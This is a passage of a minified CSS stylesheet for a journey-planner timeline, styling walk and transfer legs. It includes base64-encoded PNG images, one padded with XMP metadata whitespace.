CAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8P3hwYWNrZXQgZW5kPSJ3Ij8+B1xh6gAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAfklEQVR42uzOsQkCQRAF0HergaGxsKEYmx0biliA1QjXgDVYxBUgFmAJBzZxYAFr4IKCJ5cZ+WCSmc/wq5QSLHHE1tMFB9ymWOGKuZc9NqgnMcYT1j7NsAhvb4fsghGhFPrmHNCgHzj2aAI61GhxL9OWXVflnEc7/AM/CTwGAKeJFBx9wQVJAAAAAElFTkSuQmCC");border:none;width:4px;top:10px;height:100%;background-repeat:repeat;background-size:100%}@media print{.planner-dtl__item--transfer .timeline__dot:after,.planner-dtl__item--transfer .timeline__dot:before,.planner-dtl__item--walk .timeline__dot:after,.planner-dtl__item--walk .timeline__dot:before{width:auto;background:none;border-bottom:none;border-left-width:3px;border-left-style:dashed}}@media (min-width:650px){.planner-dtl__item--transfer .timeline__dot,.planner-dtl__item--walk .timeline__dot{width:30px;height:100%}.planner-dtl__item--transfer .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--walk .timeline__dot .timeline__dot__icon-wrapper{width:30px;height:30px}.planner-dtl__item--transfer .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--walk .timeline__dot .timeline__dot__icon-wrapper .icon{width:100%;height:100%;padding:5px}}.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot{width:25px;height:100%}.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot .timeline__dot__icon-wrapper{width:25px;height:25px}.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot .timeline__dot__icon-wrapper .icon{width:100%;height:100%}.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot:after,.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot:before,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot:after,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot:before,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot:after,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot:after,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot:after,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot:after,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot:before{right:50%;transform:translateX(50%);z-index:-1}.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot:before,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot:before,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot:before{z-index:0}.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot:after,.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot:before,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot:after,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot:before,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot:after,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot:after,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot:after,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot:after,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot:before{background-image:url("data:image/png;base64,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